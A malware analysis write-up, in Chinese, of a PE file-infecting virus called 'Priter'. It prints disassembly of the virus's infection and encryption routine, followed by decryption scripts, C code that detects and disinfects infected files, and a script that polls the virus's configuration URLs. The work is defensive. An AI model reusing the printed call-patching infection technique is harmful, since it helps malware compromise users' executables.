.text:004026BF add eax, 0Ah ; eax =(counter +1)* 0xa + 5ee3
.text:004026C2 add eax, [ebp+rva_jia_vsize_of_lastsection_image_aligment]
.text:004026C5 sub ecx, eax
.text:004026C7 add edi, ebx
.text:004026C9 mov [edi], ecx
.text:004026CB mov edi, edx
.text:004026CD shl edi, 3
.text:004026D0 add edi, 14h
.text:004026D3 add edi, ebx
.text:004026D5 mov eax, ss:[esi+ebp+patch_call_info.patched_call_fileoffset_jia_1]
.text:004026DD mov [edi], eax
.text:004026DF mov eax, ss:[esi+ebp+patch_call_info.found_call_offset]
.text:004026E7 mov [edi+4], eax
.text:004026EA xor eax, eax
.text:004026EC mov [edi+8], eax
.text:004026EF inc edx
.text:004026F0 jmp short @patch_call_in_addedsection_jmp_original_place
.text:004026F2 ; nop code
.text:004026FA ; ---------------------------------------------------------------------------
对病毒体进行加密
.text:004026FA call GetTickCount
.text:00402700 mov ebx, [ebp+alloc_address2]
.text:00402703 add ebx, [ebp+filesize_mod_filealigment]
.text:00402706 mov dword ptr [ebx], 0
.text:0040270C mov ecx, 6106h
.text:00402711
.text:00402711 @encrypt: ; CODE XREF: Infect_EXE_dll+60Aj
.text:00402711 cmp ecx, 4
.text:00402714 jb short loc_402730
.text:00402716 cmp ecx, 22Bh
.text:0040271C jnb short loc_402726
.text:0040271E cmp ecx, 192h
.text:00402724 ja short loc_402728
.text:00402726
.text:00402726 loc_402726: ; CODE XREF: Infect_EXE_dll+5F8j
.text:00402726 xor [ebx], eax
.text:00402728
.text:00402728 loc_402728: ; CODE XREF: Infect_EXE_dll+600j
.text:00402728 add ebx, 4
.text:0040272B sub ecx, 4
.text:0040272E jmp short @encrypt
.text:00402730 ; ---------------------------------------------------------------------------
写入最后一个节的数据
.text:00402730
.text:00402730 loc_402730: ; CODE XREF: Infect_EXE_dll+5F0j
.text:00402730 push [ebp+filesize]
.text:00402733 push [ebp+sizeof_alloc_address2]
.text:00402736 push [ebp+alloc_address2]
.text:00402739 push [ebp+hFile]
.text:0040273C call Write_File ; arg_0_hFile = dword ptr 8
.text:0040273C ; arg_4_inputbuffer= dword ptr 0Ch
.text:0040273C ; arg_8_wriesize = dword ptr 10h
.text:0040273C ; arg_c_offset_to_write_from_file_begin= dword ptr 14h
.text:00402741 push [ebp+alloc_address2]
.text:00402744 ; nop code
.text:0040274C ; ---------------------------------------------------------------------------
.text:0040274C call GlobalFree
.text:00402752
.text:00402752 @already_infected: ; CODE XREF: Infect_EXE_dll+16Bj
.text:00402752 ; Infect_EXE_dll+179j
.text:00402752 mov [ebp+is_infected], 1
.text:00402759
.text:00402759 @closehandle: ; CODE XREF: Infect_EXE_dll+61j
.text:00402759 ; Infect_EXE_dll+70j ...
.text:00402759 push [ebp+hFile]
.text:0040275C ; nop code
.text:00402764 ; ---------------------------------------------------------------------------
.text:00402764 call CloseHandle
.text:0040276A
.text:0040276A @fail: ; CODE XREF: Infect_EXE_dll+43j
.text:0040276A mov eax, [ebp+is_infected]
.text:0040276D pop ebx
.text:0040276E pop edx
.text:0040276F pop ecx
.text:00402770 pop edi
.text:00402771 pop esi
.text:00402772 leave
.text:00402773 retn 8
.text:00402773 Infect_EXE_dll endp
一个感染例子
比如:
.text:6B2410E1 89 5C 24 04 mov [esp+38h+var_34], ebx
.text:6B2410E5 89 34 24 mov [esp+38h+var_38], esi
.text:6B2410E8 E8 F6 AD 09 00 call Patch_call 被patch的call
.text:6B2410ED 83 EC 0C sub esp, 0Ch
.text:6B2410F0 85 DB test ebx, ebx
目的地址:
.rsrc:6B2DBEE3 Patch_call proc near ; CODE XREF: DllEntryPoint+28p
.rsrc:6B2DBEE3 E8 37 00 00 00 call loc_6B2DBF1F 执行恶意代码
.rsrc:6B2DBEE8 E9 83 03 FD FF jmp sub_6B2AC270 跳回原来的call的目的地址
.rsrc:6B2DBEE8 Patch_call endp
.rsrc:6B2DBEE8
调试程序的时候发现它会抽取call的信息到,添加节的开始处,不过是加密的,解密很简单,加密代码如下:
def decrypt_infected(startva = 0x6b2d6000):
eax = Dword(startva)
if eax == 0:
return
counter = 0x6106
while True:
if counter < 4:
break
if (counter > 0x192) and (counter<0x22b):
startva = startva + 4
counter = counter -4
else:
dword_value = Dword(startva)
dword_value = dword_value ^ eax
PatchDword(startva,dword_value)
startva = startva + 4
counter = counter -4
def decrypt_main_exe(startva = 0x401000):
eax = Dword(startva)
#alreay decrypted?
if eax ==0:
return
counter = 0x6106
while True:
if counter < 4:
break
if (counter > 0x13c) and (counter<0x182):
startva = startva + 4
counter = counter -4
else:
dword_value = Dword(startva)
dword_value = dword_value ^ eax
PatchDword(startva,dword_value)
startva = startva + 4
counter = counter -4
def make_dwords(startva):
MakeUnknown(startva,0x14+0x6*0xa,0)
MakeDword(startva)
MakeDword(startva + 4)
MakeDword(startva + 8)
MakeDword(startva + 0xc)
MakeDword(startva + 0x10)
i = 0
curva = startva + 0x14
while Dword(curva) != 0:
#for i in range(6):
str = "patch_call_info_%02x" % i
MakeDword(curva)
MakeDword(curva + 4)
MakeName(curva ,str)
curva = curva + 8
i = i + 1
if i > 6:
break
MakeDword(curva)
MakeName(curva,"end")
if __name__ == "__main__":
print "start to decode"
segs = Segments()
last = 0
for seg in segs:
#print "0x%x" % seg
last = seg
lastSegStart = SegStart(last)
lastSegEnd = SegEnd(last)
#print "lastSegStart %08x,lastSegEnd %08x" % (lastSegStart,lastSegEnd)
decrypt_infected(lastSegStart)
make_dwords(lastSegStart)
print "finishe"
以一个被感染的样本为例, 脚本运行之后病毒添加节开始:
.rsrc:1E1DD000 00 00 00 00 dd 0
.rsrc:1E1DD004 88 25 58 77 dd 77582588h 解密的key
.rsrc:1E1DD008 06 00 00 00 dd 6 patch_call_num的最大值
.rsrc:1E1DD00C A0 59 00 00 dd 59A0h oep rva
.rsrc:1E1DD010 00 00 00 00 dd 0
.rsrc:1E1DD014 6B 11 00 00 patch_call_info_00 dd 116Bh
.rsrc:1E1DD018 31 FF FF FF dd 0FFFFFF31h
.rsrc:1E1DD01C E3 1D 00 00 patch_call_info_01 dd 1DE3h
.rsrc:1E1DD020 79 3A 00 00 dd 3A79h
.rsrc:1E1DD024 AD 2B 00 00 patch_call_info_02 dd 2BADh
.rsrc:1E1DD028 BF F8 FF FF dd 0FFFFF8BFh
.rsrc:1E1DD02C 88 38 00 00 patch_call_info_03 dd 3888h
.rsrc:1E1DD030 D4 1F 00 00 dd 1FD4h
.rsrc:1E1DD034 94 49 00 00 patch_call_info_04 dd 4994h
.rsrc:1E1DD038 88 D3 FF FF dd 0FFFFD388h
.rsrc:1E1DD03C 00 00 00 00 end dd 0
struct patch_call_info
{
+0 dword 修改call的文件偏移+1
+4 dword 原来的call 即e8后面的offset
}
这样我们就可以写程序修复了,很久都没有写程序了,大部分时间都花在调试程序上了,这里只列出一些关键部分函数,其他看附件:
判断程序是否被感染:
bool IsInfecterByPriter(char* szFileName)
{
bool bReturn = FALSE;
HANDLE hFile = INVALID_HANDLE_VALUE;
DWORD dwRead = 0;
DWORD dwOffset = 0;
DWORD dwKey = 0;
DWORD dwTemp = 0;
DWORD dwImageSize = 0;
DWORD dwHeadSize = 0;
LPBYTE MapOfFile = 0;
DWORD dwFileSize = 0;
DWORD i = 0;
IMAGE_NT_HEADERS32* PE;
IMAGE_SECTION_HEADER* SH;
PDWORD LastSection;
hFile = CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
goto Exit0;
//Is ValidPE
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
ReadFile(hFile, &dwTemp, 2, &dwRead, NULL);
if ('ZM' != dwTemp)
goto Exit0;
SetFilePointer(hFile, 0x3C, NULL, FILE_BEGIN);
ReadFile(hFile, &dwOffset, 4, &dwRead, NULL);
dwTemp = 0;
SetFilePointer(hFile, dwOffset, NULL, FILE_BEGIN);
ReadFile(hFile, &dwTemp, 2, &dwRead, NULL);
if ('EP' != dwTemp)
goto Exit0;
//check the file size
dwFileSize = GetFileSize(hFile,NULL);
if (dwFileSize == 0xFFFFFFFF)
goto Exit0;
if (0x960a >= dwFileSize)
goto Exit0;
//Map
SetFilePointer(hFile, 0x3C, NULL, FILE_BEGIN);
ReadFile(hFile, &dwOffset, 4, &dwRead, NULL);
SetFilePointer(hFile, dwOffset + 0x50, NULL, FILE_BEGIN);
ReadFile(hFile, &dwImageSize, 4, &dwRead, NULL);
SetFilePointer(hFile, dwOffset + 0x54, NULL, FILE_BEGIN);
ReadFile(hFile, &dwHeadSize, 4, &dwRead, NULL);
MapOfFile = (LPBYTE)VirtualAlloc(0, dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (MapOfFile == 0)
goto Exit0;
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
ReadFile(hFile, MapOfFile, dwHeadSize, &dwRead, NULL);
PE = (IMAGE_NT_HEADERS32 *)(MapOfFile + dwOffset);
SH = IMAGE_FIRST_SECTION32(PE);
//判断最后一个节的属性
if ((SH + PE->FileHeader.NumberOfSections -1)->Characteristics != 0xe00000e0)
goto FreeExit0;
dwTemp = (SH + PE->FileHeader.NumberOfSections -1)->SizeOfRawData;
if ((SH + PE->FileHeader.NumberOfSections -1)->SizeOfRawData == 0x9800)
goto Found;
if ((SH + PE->FileHeader.NumberOfSections -1)->SizeOfRawData != 0xa000)
goto FreeExit0;
Found:
for (i = 0; i < PE->FileHeader.NumberOfSections; i ++)
{
SetFilePointer(hFile, (SH + i)->PointerToRawData, NULL, FILE_BEGIN);
ReadFile(hFile, (SH + i)->VirtualAddress + MapOfFile, (SH + i)->SizeOfRawData, &dwRead, NULL);
}
LastSection = (PDWORD)(MapOfFile + (SH + PE->FileHeader.NumberOfSections -1)->VirtualAddress);
dwKey = *LastSection;
//dwTemp = *(PDWORD)(LastSection + 1);
*(LastSection + 1) = *(LastSection + 1) ^ dwKey;
//解密后,判断最后一个节开始的数据
if (*(LastSection + 1) != 0x77582588)
goto FreeExit0;
*(LastSection + 2) = *(LastSection + 2) ^ dwKey;
dwTemp = *(LastSection + 2);
if (*(LastSection + 2) != 6)
goto FreeExit0;
//Save
pSaveInfo = (PINFO)malloc(sizeof(INFO));
memset(pSaveInfo, 0, sizeof(INFO));
strcpy(pSaveInfo->szFileName, szFileName);
pSaveInfo->MapOfFile = MapOfFile;
pSaveInfo->PE = PE;
pSaveInfo->SH = SH;
pSaveInfo->dwKey = dwKey;
pSaveInfo->dwimagesize = dwImageSize;
bReturn = TRUE;
goto Exit0;
FreeExit0:
VirtualFree(MapOfFile,0,MEM_RELEASE);
Exit0:
if (INVALID_HANDLE_VALUE != hFile)
{
CloseHandle(hFile);
hFile = INVALID_HANDLE_VALUE;
}
return bReturn;
}
对感染的文件进行修复:
bool IsRepairSuccess()
{
bool bRet = FALSE;
BOOL bWrite;
HANDLE hFile = INVALID_HANDLE_VALUE;
DWORD dwRead = 0;
DWORD dwOffset = 0;
DWORD dwTemp = 0,dwTemp1,dwTemp2;
DWORD counter = 0,i;
IMAGE_SECTION_HEADER* SH;
PDWORD patch_call_info,patch_call_info_copy,dwPatch_tmp;
DWORD file_offset,file_offset_end;
PBYTE patched_call_va,check_call_va,dwrepair;
DWORD dwSizeOfHead = 0;
//IMAGE_SECTION_HEADER *SH;
SH = pSaveInfo->SH;
patch_call_info = (PDWORD)((pSaveInfo->MapOfFile + (SH + pSaveInfo->PE->FileHeader.NumberOfSections -1)->VirtualAddress) + 0x14);
patch_call_info_copy = patch_call_info;
//获取patch了多少个call
do
{
*(patch_call_info) = *(patch_call_info) ^ pSaveInfo->dwKey;
dwTemp = *(patch_call_info);
if (dwTemp != 0)
{
++counter;
if (counter > 6)
goto Exit0;
++patch_call_info;
*(patch_call_info) = *(patch_call_info) ^ pSaveInfo->dwKey;
++patch_call_info;
}
} while ( dwTemp != 0);
if (counter <= 0)
{
goto Exit0;
}
//如果出去call的数量为1 则不需要去重复
if (counter == 1)
{
goto repair;
}
patch_call_info = patch_call_info_copy;
dwTemp = counter;
dwTemp ++;
//有的有重复的 去掉重复的
while (--dwTemp!=1)
{
dwPatch_tmp = patch_call_info_copy;
dwTemp1 = *(patch_call_info_copy);
patch_call_info_copy = patch_call_info_copy + 2;
dwTemp2 = *(patch_call_info_copy);
if (dwTemp2 == dwTemp1)
{
i = dwTemp;
i --;
i = i * 8;
i = i + 4;
memcpy(dwPatch_tmp,patch_call_info_copy,i);
counter --;
if (counter == 0)
{
goto Exit0;
}
patch_call_info_copy = patch_call_info_copy - 2;
}
}
file_offset = pSaveInfo->SH->PointerToRawData;
file_offset_end = pSaveInfo->SH->SizeOfRawData + pSaveInfo->SH->PointerToRawData;
check_call_va = (pSaveInfo->MapOfFile + (SH + pSaveInfo->PE->FileHeader.NumberOfSections -1)->VirtualAddress);
check_call_va = check_call_va + 0x5ee3;
//开始修复
do
{
dwTemp = *patch_call_info;
if (dwTemp < file_offset)
{
goto Exit0;
}
if (dwTemp > file_offset_end)
{
goto Exit0;
}
dwrepair = PBYTE(pSaveInfo->MapOfFile + pSaveInfo->SH->VirtualAddress + dwTemp - file_offset);
patched_call_va = PBYTE(pSaveInfo->MapOfFile + pSaveInfo->SH->VirtualAddress + dwTemp - file_offset);
--patched_call_va;
if (*patched_call_va != 0xe8)
{
goto Exit0;
}
++patched_call_va;
patched_call_va = patched_call_va + *(PDWORD)patched_call_va;
patched_call_va = patched_call_va + 4;
dwTemp2 = patched_call_va - check_call_va;
if ((dwTemp2 % 0x0a) != 0)
{
goto Exit0;
}
patch_call_info = patch_call_info + 1;
memcpy(dwrepair ,patch_call_info,4);
patch_call_info = patch_call_info + 1;
} while (--counter);
repair:
// remove last section
-- pSaveInfo->PE->FileHeader.NumberOfSections;
pSaveInfo->PE->OptionalHeader.SizeOfImage = pSaveInfo->PE->OptionalHeader.SizeOfImage
- (pSaveInfo->SH + pSaveInfo->PE->FileHeader.NumberOfSections)->Misc.VirtualSize;
memset(pSaveInfo->SH + pSaveInfo->PE->FileHeader.NumberOfSections,0,0x28);
dwSizeOfHead = pSaveInfo->PE->OptionalHeader.SizeOfHeaders;
hFile = CreateFile(pSaveInfo->szFileName, GENERIC_READ | GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL);
if (INVALID_HANDLE_VALUE == hFile)
goto Exit0;
bWrite = WriteFile(hFile, pSaveInfo->MapOfFile, dwSizeOfHead, &dwTemp, NULL);
for (i = 0; i < pSaveInfo->PE->FileHeader.NumberOfSections ; i ++)
bWrite = WriteFile(hFile, (SH + i)->VirtualAddress + pSaveInfo->MapOfFile, (SH + i)->SizeOfRawData, &dwTemp, NULL);
dwTemp = (SH+i-1)->PointerToRawData + (SH+i-1)->SizeOfRawData;
dwTemp1 = SetFilePointer(hFile,(SH+i-1)->PointerToRawData + (SH+i-1)->SizeOfRawData,NULL,FILE_BEGIN);
dwTemp2 = SetEndOfFile(hFile);
bRet = TRUE;
Exit0:
if (INVALID_HANDLE_VALUE != hFile)
{
CloseHandle(hFile);
hFile = INVALID_HANDLE_VALUE;
}
if (NULL != pSaveInfo->MapOfFile)
{
VirtualFree(pSaveInfo->MapOfFile,0,MEM_RELEASE);
}
if (NULL != pSaveInfo)
{
free(pSaveInfo);
pSaveInfo = NULL;
}
return bRet;
}
最后我写了个叫脚本来下载解密其配置文件,看看病毒作者是否有更新,结果很失望
,脚本如下:
import os,sys
import urllib2
import time
import re, struct
def Decrypt_Config(srcData, hOutFile):
currIndex = 0
data_len = len(srcData)
ecx = data_len - 0xa
p = re.compile(r'########(.*)',re.DOTALL)
m = p.search(srcData)
decrypt_data = []
if m:
found_offset = m.start(1)
ecx = ecx - found_offset
ecx = ecx >> 1
#print "ecx %08x" % ecx
while ecx != 0:
ah = srcData[found_offset]
al = srcData[found_offset+1]
eax = (ord(ah) << 0x8) | ord(al)
#print "eax %08x" % eax
eax = eax - 0x4141
edx = eax
eax = eax >> 4
eax = edx | eax
#print "after or eax %08x" % eax
decrypt_data.append(chr(eax & 0xff))
found_offset = found_offset+2
ecx = ecx - 1
decrypt_data_ = "".join(decrypt_data)
first_dword = struct.unpack('I',decrypt_data_[0:4])[0]
if first_dword <= data_len:
check_value = struct.unpack('H',decrypt_data_[4:6])[0]
#print "check_value %08x" % check_value
ecx = first_dword
eax = 0
esi = decrypt_data_[6:]
cur_offset = 0
while ecx >= 4:
eax = eax + struct.unpack('I',esi[cur_offset:cur_offset + 4])[0]
cur_offset = cur_offset + 4
ecx = ecx -4
eax = eax & 0xffff
if eax == check_value:
real_data = decrypt_data_[6:first_dword+6]
hOutFile.write(real_data)
else:
print "no content found"
#time.sleep(7200)
def downloadfilewithoutdecrypt(url):
try:
ha = urllib2.urlopen(url,)
if ha:
print 'get sucess\n'
configdata=ha.read()
if configdata:
print 'get data correct \n'
if url.lower().endswith('625'):
ISOTIMEFORMAT='%Y-%m-%d-%H-%M-%S'
Config_name='Priter_'+time.strftime(ISOTIMEFORMAT, time.localtime( time.time() ) )
outfile=file(Config_name + 'config625','wb')
Decrypt_Config(configdata,outfile)
#outfile.write(configdata)
outfile.close()
if url.lower().endswith('358'):
ISOTIMEFORMAT='%Y-%m-%d-%H-%M-%S'
Config_name='Priter_'+time.strftime(ISOTIMEFORMAT, time.localtime( time.time() ) )
outfile=file(Config_name + 'config358','wb')
Decrypt_Config(configdata,outfile)
outfile.close()
if url.lower().endswith('home'):
ISOTIMEFORMAT='%Y-%m-%d-%H-%M-%S'
Config_name='Priter_'+time.strftime(ISOTIMEFORMAT, time.localtime( time.time() ) )
outfile=file(Config_name + 'configtest','wb')
Decrypt_Config(configdata,outfile)
outfile.close()
if url.lower().endswith('014'):
ISOTIMEFORMAT='%Y-%m-%d-%H-%M-%S'
Config_name='Priter_'+time.strftime(ISOTIMEFORMAT, time.localtime( time.time() ) )
outfile=file(Config_name + 'config014','wb')
Decrypt_Config(configdata,outfile)
outfile.close()
except urllib2.HTTPError:
pass
if __name__ == '__main__':
weblist = [
"http://home.51.com/?u=lichao3596&c=diary&a=getdataview&id=10047625",
"http://home.51.com/?u=testdown&c=diary&a=getdataview&id=10049014",
"http://home.51.com/?u=test4862&c=diary&a=getdataview&id=10052358",
"http://hi.baidu.com/test6345/home"
]
#f
i = 0
while(True):
for url in weblist:
i = i + 1
downloadfilewithoutdecrypt(url)
time.sleep(72)
if i > 0x10:
break
print "finishe"
这几天下载下来的内容,都是一样的,作者并没有更新其配置文件。
附件密码:forfun